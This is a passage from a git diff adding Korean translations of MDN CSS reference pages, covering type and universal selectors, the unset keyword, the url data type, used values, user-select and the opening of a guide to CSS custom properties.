+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0 {{ property_prefix("-webkit") }}<br>
+ 26.0 <a href="http://googlechromereleases.blogspot.com/2013/03/stable-channel-update_26.html" title="Released on March 26, 2013">#</a></td>
+ <td>{{ CompatGeckoDesktop("2.0") }} {{ property_prefix("-moz") }}<br>
+ {{ CompatGeckoDesktop("16.0") }}<sup>[1]</sup></td>
+ <td>10.0</td>
+ <td>10.1 {{ property_prefix("-o") }}<br>
+ 12.10 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot" title="Released on August 3, 2012">#</a></td>
+ <td>3.0 {{ property_prefix("-webkit") }}<br>
+ 6.1</td>
+ </tr>
+ <tr>
+ <td>Gradients<sup>[2]</sup></td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>10.0</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>2.1 {{ property_prefix("-webkit") }}</td>
+ <td>{{ CompatGeckoMobile("2.0") }} {{ property_prefix("-moz") }}<br>
+ {{ CompatGeckoMobile("16.0") }}<sup>[1]</sup></td>
+ <td>10.0</td>
+ <td>10.0 {{ property_prefix("-o") }}<br>
+ 12.10 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot" title="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">#</a></td>
+ <td>3.2 {{ property_prefix("-webkit") }}</td>
+ </tr>
+ <tr>
+ <td>Gradients<sup>[1]</sup></td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>10.0</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In addition to the unprefixed support, Gecko 44.0 {{geckoRelease("44.0")}} added support for a <code>-webkit</code> prefixed version of the property for web compatibility reasons behind the preference <code>layout.css.prefixes.webkit</code>, defaulting to <code>false</code>. Since Gecko 49.0 {{geckoRelease("49.0")}} the preference defaults to <code>true</code>.</p>
+
+<p>[2] <a href="http://www.quirksmode.org/css/transitions/properties.html#t031">PPK test</a></p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_transitions" title="en/CSS/CSS transitions">Using CSS transitions</a></li>
+ <li>{{ domxref("TransitionEvent") }}</li>
+</ul>
diff --git a/files/ko/web/css/type_selectors/index.html b/files/ko/web/css/type_selectors/index.html
new file mode 100644
index 0000000000..bcaf47c8b1
--- /dev/null
+++ b/files/ko/web/css/type_selectors/index.html
@@ -0,0 +1,86 @@
+---
+title: 유형 선택자
+slug: Web/CSS/Type_selectors
+tags:
+ - CSS
+ - HTML
+ - Node
+ - Reference
+ - Selectors
+ - 선택자
+translation_of: Web/CSS/Type_selectors
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong>유형 선택자</strong>는 노드 이름을 사용해 요소를 선택합니다. 즉 문서 내에서 주어진 유형의 모든 요소를 선택합니다.</p>
+
+<pre class="brush: css notranslate">/* All &lt;a&gt; elements. */
+a {
+ color: red;
+}</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">element { <em>style properties</em> }
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">span {
+ background-color: DodgerBlue;
+ color: #ffffff;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;span&gt;텍스트를 가진 span입니다.&lt;/span&gt;
+&lt;p&gt;텍스트를 가진 p입니다.&lt;/p&gt;
+&lt;span&gt;또 다시 텍스트를 가진 span입니다.&lt;/span&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', 200, 150)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Selectors', '#type-selectors', 'Type (tag name) selector')}}</td>
+ <td>{{Spec2('CSS4 Selectors')}}</td>
+ <td>No change</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Selectors', '#type-selectors', 'type selectors')}}</td>
+ <td>{{Spec2('CSS3 Selectors')}}</td>
+ <td>No change</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'selector.html#type-selectors', 'type selectors')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#basic-concepts', 'type selectors')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.type")}}</p>
diff --git a/files/ko/web/css/universal_selectors/index.html b/files/ko/web/css/universal_selectors/index.html
new file mode 100644
index 0000000000..3987c92504
--- /dev/null
+++ b/files/ko/web/css/universal_selectors/index.html
@@ -0,0 +1,105 @@
+---
+title: 전체 선택자
+slug: Web/CSS/Universal_selectors
+tags:
+ - CSS
+ - Reference
+ - Selectors
+translation_of: Web/CSS/Universal_selectors
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong>전체 선택자</strong>(<code>*</code>)는 모든 형태의 모든 요소를 선택합니다.</p>
+
+<pre class="brush: css notranslate">/* Selects all elements */
+* {
+ color: green;
+}
+</pre>
+
+<p>CSS 3부터는 별표를 {{cssxref("CSS_Namespaces", "네임스페이스")}}와 함께 사용할 수 있습니다.</p>
+
+<ul>
+ <li><code>ns|*</code> - 네임스페이스 ns 안의 모든 요소 선택</li>
+ <li><code>*|*</code> - 모든 요소 선택</li>
+ <li><code>|*</code> - 네임스페이스 없는 모든 요소 선택</li>
+</ul>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">* { <em>style properties</em> }</pre>
+
+<p>단순 선택자에서 별표는 선택사항입니다. 즉 <code>*.warning</code>과 <code>.warning</code>은 같습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">* [lang^=en] {
+ color: green;
+}
+
+*.warning {
+ color: red;
+}
+
+*#maincontent {
+ border: 1px solid blue;
+}
+
+.floating {
+ float: left
+}
+
+/* automatically clear the next sibling after a floating element */
+.floating + * {
+ clear: left;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p class="warning"&gt;
+ &lt;span lang="en-us"&gt;A green span&lt;/span&gt; in a red paragraph.
+&lt;/p&gt;
+&lt;p id="maincontent" lang="en-gb"&gt;
+ &lt;span class="warning"&gt;A red span&lt;/span&gt; in a green paragraph.
+&lt;/p&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Selectors', '#the-universal-selector', 'universal selector')}}</td>
+ <td>{{Spec2('CSS4 Selectors')}}</td>
+ <td>변화 없음</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Selectors', '#universal-selector', 'universal selector')}}</td>
+ <td>{{Spec2('CSS3 Selectors')}}</td>
+ <td>네임스페이스에 관한 행동이 정의되고 선택자 생략이 가상 요소 내에서 허용된다는 힌트가 추가됨</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'selector.html#universal-selector', 'universal selector')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.universal")}}</p>
diff --git a/files/ko/web/css/unset/index.html b/files/ko/web/css/unset/index.html
new file mode 100644
index 0000000000..f7e45d99da
--- /dev/null
+++ b/files/ko/web/css/unset/index.html
@@ -0,0 +1,120 @@
+---
+title: unset
+slug: Web/CSS/unset
+tags:
+ - CSS
+ - CSS Cascade
+ - Layout
+ - Reference
+translation_of: Web/CSS/unset
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">CSS <strong><code>unset</code></strong> 키워드를 적용한 속성은, 부모로부터 상속할 값이 존재하면 상속값을, 그렇지 않다면 <a href="/ko/docs/Web/CSS/initial_value">초깃값</a>을 사용합니다.</span> 다르게 표현하자면, 전자일 땐 {{cssxref("inherit")}} 키워드처럼, 후자일 땐 {{cssxref("initial")}} 키워드처럼 동작합니다. {{cssxref("all")}} 단축 속성을 포함한 모든 속성에 사용할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="글자_색">글자 색</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;This text is red.&lt;/p&gt;
+&lt;div class="foo"&gt;
+ &lt;p&gt;This text is also red.&lt;/p&gt;
+&lt;/div&gt;
+&lt;div class="bar"&gt;
+ &lt;p&gt;This text is green (default inherited value).&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.foo {
+ color: blue;
+}
+.bar {
+ color: green;
+}
+
+p {
+ color: red;
+}
+.bar p {
+ color: unset;
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('글자_색') }}</p>
+
+<h3 id="테두리">테두리</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;This text has a red border.&lt;/p&gt;
+&lt;div&gt;
+ &lt;p&gt;This text has a red border.&lt;/p&gt;
+&lt;/div&gt;
+&lt;div class="bar"&gt;
+ &lt;p&gt;This text has has a black border (initial default, not inherited).&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">div {
+ border: 1px solid green;
+}
+
+p {
+ border: 1px solid red;
+}
+
+.bar p {
+ border-color: unset;
+}
+</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{ EmbedLiveSample('테두리', 'auto', 200) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS4 Cascade', '#inherit-initial', 'unset') }}</td>
+ <td>{{ Spec2('CSS4 Cascade') }}</td>
+ <td>Level 3에서 변화 없음</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Cascade', '#unset', 'unset') }}</td>
+ <td>{{ Spec2('CSS3 Cascade') }}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.global_keywords.unset")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("initial")}}을 사용해 속성의 초깃값을 사용하세요.</li>
+ <li>{{cssxref("revert")}}를 사용해 사용자 에이전트가 지정한 값(또는 사용자가 수정한 값)으로 속성을 되돌리세요.</li>
+ <li>{{cssxref("inherit")}}을 사용해 속성의 값이 부모와 같도록 지정하세요.</li>
+ <li>{{cssxref("all")}} 속성을 사용하면 요소의 모든 속성을 한꺼번에 <code>initial</code>, <code>inherit</code>, <code>revert</code>, <code>unset</code>할 수 있습니다.</li>
+</ul>
diff --git a/files/ko/web/css/url/index.html b/files/ko/web/css/url/index.html
new file mode 100644
index 0000000000..e4969a7e1a
--- /dev/null
+++ b/files/ko/web/css/url/index.html
@@ -0,0 +1,79 @@
+---
+title: <url>
+slug: Web/CSS/url
+tags:
+ - CSS
+ - CSS Data Type
+ - Layout
+ - Reference
+translation_of: Web/CSS/url
+---
+<div>{{ CssRef() }}</div>
+
+<p><strong><code>&lt;url&gt;</code></strong> <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <a href="/en-US/docs/Web/CSS/CSS_Types">자료형</a>은 이미지나 글꼴 등 리소스를 가리키는 문자열을 나타냅니다. URL은 {{ Cssxref("background-image") }}, {{ Cssxref("cursor") }}, {{ cssxref("list-style") }} 등 다양한 속성에서 사용할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>URI와 URL</strong> <a class="external" href="http://en.wikipedia.org/wiki/Uniform_Resource_Identifier" title="http://en.wikipedia.org/wiki/Uniform_Resource_Identifier">URI</a>와 <a class="external" href="http://en.wikipedia.org/wiki/Uniform_Resource_Locator" title="http://en.wikipedia.org/wiki/Uniform_Resource_Locator">URL</a>은 다릅니다. URI는 단순히 리소스의 식별자입니다. URL은 URI의 종류 중 하나로, 리소스의 <u>위치</u>를 표현합니다. URI는 URL일 수도 있고, 리소스의 이름(<a class="external" href="http://en.wikipedia.org/wiki/Uniform_Resource_Name" title="http://en.wikipedia.org/wiki/Uniform_Resource_Name">URN</a>)일 수도 있습니다.</p>
+
+<p>CSS Level 1의 <code>url()</code> 함수형 표기법은 순수 URL을 나타낼 때만 사용했고, CSS Level 2에서 범위가 늘어나 URL이나 URN 등 어떤 URI도 사용할 수 있도록 바뀌었습니다. 이로써 <code>url()</code>을 사용해 <code>&lt;uri&gt;</code> CSS 자료형을 표현할 수 있었는데, 이상한 방식인데다 실제 CSS에서 URN은 거의 사용하지 않았으므로 불필요하다고 생각할만한 점이었습니다. CSS3에서는 혼란을 잠재우기 위해 초기의 더 좁은 정의로 돌아갔기 때문에 이제 <code>url()</code>은 <code>&lt;url&gt;</code>만을 나타낼 수 있습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;url&gt;</code> 자료형은 <code>url()</code> 함수형 표기법을 사용해 설정합니다. 따옴표는 선택사항으로 작은따옴표, 큰따옴표 둘 다 사용할 수 있습니다. 상대 URL도 사용할 수 있으며, 웹페이지의 URL이 아닌 스타일시트의 URL을 기준으로 사용합니다.</p>
+
+<pre class="syntaxbox">&lt;a_css_property&gt;: url("http://mysite.example.com/mycursor.png")
+&lt;a_css_property&gt;: url('http://mysite.example.com/mycursor.png')
+&lt;a_css_property&gt;: url(http://mysite.example.com/mycursor.png)
+</pre>
+
+<div class="note">
+<p><strong>참고:</strong> Firefox 15부터, <span id="summary_alias_container"><span id="short_desc_nonedit_display">0x7e을 초과하는 제어 문자는 URL을 따옴표로 둘러싸야 유요합니다. 자세한 내용은</span></span> {{Bug(752230)}}을 참고하세요.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">.topbanner {
+ background: url("topbanner.png") #00D no-repeat fixed;
+}
+</pre>
+
+<pre class="brush: css">ul {
+ list-style: square url(http://www.example.com/redball.png);
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Values', '#urls', '&lt;url&gt;') }}</td>
+ <td>{{ Spec2('CSS3 Values') }}</td>
+ <td>No significant change from CSS Level 2 (Revision 1).</td>
+ </tr>
+ <tr>
+ <td>{{ Specname('CSS2.1', 'syndata.html#uri', '&lt;uri&gt;') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>No significant change from CSS Level 1.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS1', '#url', '&lt;url&gt;') }}</td>
+ <td>{{ Spec2('CSS1') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.url")}}</p>
diff --git a/files/ko/web/css/used_value/index.html b/files/ko/web/css/used_value/index.html
new file mode 100644
index 0000000000..7e730820c0
--- /dev/null
+++ b/files/ko/web/css/used_value/index.html
@@ -0,0 +1,127 @@
+---
+title: 사용값
+slug: Web/CSS/used_value
+tags:
+ - CSS
+ - Reference
+translation_of: Web/CSS/used_value
+---
+<div>{{cssref}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> 속성의 <strong>사용값</strong>은 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>에 모든 계산을 수행한 후의 결과 값입니다.</p>
+
+<p>모든 CSS 속성은 {{glossary("user agent", "사용자 에이전트")}}가 계산을 끝낸 후 사용값을 가집니다. 크기({{cssxref("width")}}, {{cssxref("line-height")}} 등)는 픽셀 단위로 정해집니다. 단축 속성({{cssxref("background")}} 등)의 값은 그 구성요소({{cssxref("background-color")}}, {{cssxref("background-size")}} 등)와 {{cssxref("position")}}, {{cssxref("float")}}이 가질 값과 일치합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> {{domxref("Window.getComputedStyle", "getComputedStyle()")}} DOM API는 <a href="/ko/docs/Web/CSS/resolved_value">결정값</a>을 반환합니다. 결정값은 속성에 따라 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>일 수도, 사용값일 수도 있습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 요소 세 개 <code>width</code> 속성의 사용값을 계산하고 보여줍니다. (창 크기 조절 시 업데이트)</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="no-width"&gt;
+ &lt;p&gt;No explicit width.&lt;/p&gt;
+ &lt;p class="show-used-width"&gt;..&lt;/p&gt;
+
+ &lt;div id="width-50"&gt;
+ &lt;p&gt;Explicit width: 50%.&lt;/p&gt;
+ &lt;p class="show-used-width"&gt;..&lt;/p&gt;
+
+ &lt;div id="width-inherit"&gt;
+ &lt;p&gt;Explicit width: inherit.&lt;/p&gt;
+ &lt;p class="show-used-width"&gt;..&lt;/p&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#no-width {
+ width: auto;
+}
+
+#width-50 {
+ width: 50%;
+}
+
+#width-inherit {
+ width: inherit;
+}
+
+/* Make results easier to see */
+div {
+ border: 1px solid red;
+ padding: 8px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function updateUsedWidth(id) {
+ var div = document.querySelector(`#${id}`);
+ var par = div.querySelector('.show-used-width');
+ var wid = window.getComputedStyle(div)["width"];
+ par.textContent = `Used width: ${wid}.`;
+}
+
+function updateAllUsedWidths() {
+ updateUsedWidth("no-width");
+ updateUsedWidth("width-50");
+ updateUsedWidth("width-inherit");
+}
+
+updateAllUsedWidths();
+window.addEventListener('resize', updateAllUsedWidths);
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('예제', '80%', 372) }}</p>
+
+<h2 id="계산값과의_차이">계산값과의 차이</h2>
+
+<p>CSS 2.0은 속성의 계산에서 마지막 단계로 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>만 정의했고, 그 다음 CSS 2.1에서 사용값의 분명한 정의를 도입했습니다. 덕분에, 부모의 너비/높이 계산값이 백분율이더라도 상속받을 수 있게 됐습니다. 레이아웃에 의존하지 않는 CSS 속성(가령, <code>display</code>, <code>font-size</code>, <code>line-height</code>)의 경우, 계산값과 사용값은 같습니다. 다음은 레이아웃에 의존하는 CSS 2.1 속성으로, 계산값과 사용값이 다릅니다. (<a href="https://www.w3.org/TR/CSS2/changes.html#q21.36">CSS 2.1 Changes: Specified, computed, and actual values</a>에서 가져옴)</p>
+
+<ul>
+ <li><code>background-position</code></li>
+ <li><code>bottom</code>, <code>left</code>, <code>right</code>, <code>top</code></li>
+ <li><code>height</code>, <code>width</code></li>
+ <li><code>margin-bottom</code>, <code>margin-left</code>, <code>margin-right</code>, <code>margin-top</code></li>
+ <li><code>min-height</code>, <code>min-width</code></li>
+ <li><code>padding-bottom</code>, <code>padding-left</code>, <code>padding-right</code>, <code>padding-top</code></li>
+ <li><code>text-indent</code></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS2.2", "cascade.html#used-value", "used value")}}</td>
+ <td>{{Spec2("CSS2.2")}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1", "cascade.html#used-value", "used value")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.getComputedStyle")}}</li>
+ <li>{{css_key_concepts}}</li>
+</ul>
diff --git a/files/ko/web/css/user-select/index.html b/files/ko/web/css/user-select/index.html
new file mode 100644
index 0000000000..fde0e2cc88
--- /dev/null
+++ b/files/ko/web/css/user-select/index.html
@@ -0,0 +1,123 @@
+---
+title: user-select
+slug: Web/CSS/user-select
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/user-select
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <code><strong>user-select</strong></code> 속성은 사용자가 텍스트를 선택할 수 있는지 지정합니다.</p>
+
+<pre class="brush:css notranslate">/* 키워드 값 */
+user-select: none;
+user-select: auto;
+user-select: text;
+user-select: contain;
+user-select: all;
+
+/* 전역 값 */
+user-select: inherit;
+user-select: initial;
+user-select: unset;
+</pre>
+
+<h2 id="구문">구문</h2>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>이 요소와 아래 요소의 텍스트를 선택하지 못하도록 막습니다. 단 {{domxref("Selection")}} 객체는 <code>none</code>인 요소(와 그 아래)를 포함할 수 있습니다.</dd>
+ <dt><code>auto</code></dt>
+ <dd>
+ <p><code>auto</code>의 사용값은 아래와 같이 결정됩니다.</p>
+
+ <ul>
+ <li><code>::before</code>와 <code>::after</code> 의사 요소의 사용값은 <code>none</code>입니다.</li>
+ <li>편집 가능한 요소의 사용값은 <code>contain</code>입니다.</li>
+ <li>그렇지 않고, 부모 요소 <code>user-select</code>의 사용값이 <code>all</code>이면 이 요소의 사용값도 <code>all</code>입니다.</li>
+ <li>그렇지 않고, 부모 요소 <code>user-select</code>의 사용값이 <code>none</code>이면 이 요소의 사용값도 <code>none</code>입니다.</li>
+ <li>그렇지 않으면 사용값은 <code>text</code>입니다.</li>
+ </ul>
+ </dd>
+ <dt><code>text</code></dt>
+ <dd>사용자가 텍스트를 선택할 수 있습니다.</dd>
+ <dt><code>all</code></dt>
+ <dd>요소의 콘텐츠가 원자적으로 선택됩니다. 즉 선택 범위는 이 요소와 그 아래의 자손 전체를 포함해야 하며 일부만 담을 수는 없습니다. 하위 요소에서 더블 클릭이나 콘텍스트 클릭이 발생한 경우, <code>all</code>을 지정한 조상 요소 중 제일 상위 요소를 선택합니다.</dd>
+ <dt><code>contain</code></dt>
+ <dd>선택의 시작을 이 요소 안에서 한 경우, 범위가 요소 바깥으로 벗어날 수 없습니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;You should be able to select this text.&lt;/p&gt;
+&lt;p class="unselectable"&gt;Hey, you can't select this text!&lt;/p&gt;
+&lt;p class="all"&gt;Clicking once will select all of this text.&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">.unselectable {
+ -moz-user-select: none;
+ -webkit-user-select: none;
+ -ms-user-select: none;
+ user-select: none;
+}
+
+.all {
+ -moz-user-select: all;
+ -webkit-user-select: all;
+ -ms-user-select: all;
+ user-select: all;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 UI', '#propdef-user-select', 'user-select')}}</td>
+ <td>{{Spec2('CSS4 UI')}}</td>
+ <td>Initial definition. Also defines <code>-webkit-user-select</code> as a deprecated alias of <code>user-select</code>.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.properties.user-select")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref("::selection")}} 의사 요소</li>
+ <li>JavaScript {{domxref("Selection")}} 객체.</li>
+</ul>
diff --git a/files/ko/web/css/using_css_custom_properties/index.html b/files/ko/web/css/using_css_custom_properties/index.html
new file mode 100644
index 0000000000..b485744eda
--- /dev/null
+++ b/files/ko/web/css/using_css_custom_properties/index.html
@@ -0,0 +1,262 @@
+---
+title: 사용자 지정 CSS 속성 사용하기 (변수)
+slug: Web/CSS/Using_CSS_custom_properties
+tags:
+ - CSS
+ - CSS Variable
+ - CSS 변수
+ - Custom Properties
+ - Guide
+ - Web
+translation_of: Web/CSS/Using_CSS_custom_properties
+---
+<div>{{cssref}}</div>
+
+<p><strong>사용자 지정 속성</strong>(<strong>CSS 변수</strong>, <strong>종속 변수</strong>)은 CSS 저작자가 정의하는 개체로, 문서 전반적으로 재사용할 임의의 값을 담습니다. 사용자 지정 속성은 전용 표기법을 사용해 정의하고, (<code><strong>--main-color: black</strong>;</code>) {{cssxref("var", "var()")}} 함수를 사용해 접근할 수 있습니다. (<code>color: <strong>var(--main-color)</strong>;</code>)</p>
+
+<p>복잡한 웹사이트는 어마어마한 양의 CSS를 가지고 있는데, 종종 많은 값을 반복적으로 사용합니다. 예를 들어, 수 백 곳의 서로 다른 위치에서 같은 색상을 사용한다면, 그 색을 바꿔야 할 상황이 왔을 때 대규모 전역 검색 바꾸기를 피할 수 없습니다. 사용자 지정 속성을 사용하면 한 영역에 값을 저장해놓고 다른 여러 곳에서 참조해갈 수 있습니다. 추가로 오는 장점은 의미를 가지는 식별자를 사용한다는 것으로, <code>#00ff00</code>보다는 <code>--main-text-color</code>가 이해하기 쉽다는 것입니다. 특히 같은 색을 다른 맥락에서 사용할 때 이 장점이 도드라집니다.</p>
+
+<p>사용자 지정 속성은 종속 대상이며 부모로부터 상속합니다.</p>
+
+<h2 id="기본_사용법">기본 사용법</h2>
+
+<p>사용자 지정 속성은 두 개의 붙임표로 시작하는 속성의 이름과 함께, 유효한 CSS 값이라면 아무거나 그 값으로 지정해 선언합니다. 다른 일반적인 속성과 마찬가지로 사용자 지정 속성도 아래와 같이 규칙 집합 내에 작성합니다.</p>
+
+<pre class="brush:css; highlight:[2] language-css notranslate">element {
+ --main-bg-color: brown;
+}
+</pre>
+
+<p>규칙 집합의 선택자는 사용자 지정 속성을 사용할 수 있는 범위를 정의합니다. 흔히 보이는 패턴은 {{cssxref(":root")}} 의사 클래스에 선언해서 여러분의 HTML 문서 어디에서나 사용자 지정 속성에 접근할 수 있도록 구성하는 것입니다.</p>
+
+<pre class="brush: css notranslate">:root {
+ --main-bg-color: brown;
+}</pre>
+
+<p>그러나 반드시 이렇게 선언해야 하는 것은 아닙니다. 범위를 제한해야 하는 적절한 이유가 있을 수도 있으니까요.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 사용자 지정 속성의 이름은 대소문자를 구분합니다. 따라서 <code>--my-color</code>와 <code>--My-color</code>는 서로 다른 속성으로써 처리합니다.</p>
+</div>
+
+<p>위에서 언급했듯, 사용자 지정 속성의 값을 사용할 때에는 일반적인 값의 자리에 {{cssxref("var()")}} 함수를 지정하고, 그 매개변수로는 사용자 지정 속성의 이름을 제공합니다.</p>
+
+<pre class="brush:css; highlight:[2] language-css notranslate">element {
+ background-color: var(--main-bg-color);
+}
+</pre>
+
+<h2 id="사용자_지정_속성_첫_단계">사용자 지정 속성 첫 단계</h2>
+
+<p>동일한 색상을 여러 클래스에 적용하는, 다음의 간단한 예제로 시작하겠습니다.</p>
+
+<pre class="brush:css; highlight:[3,20,26,32] notranslate">.one {
+ color: white;
+ background-color: brown;
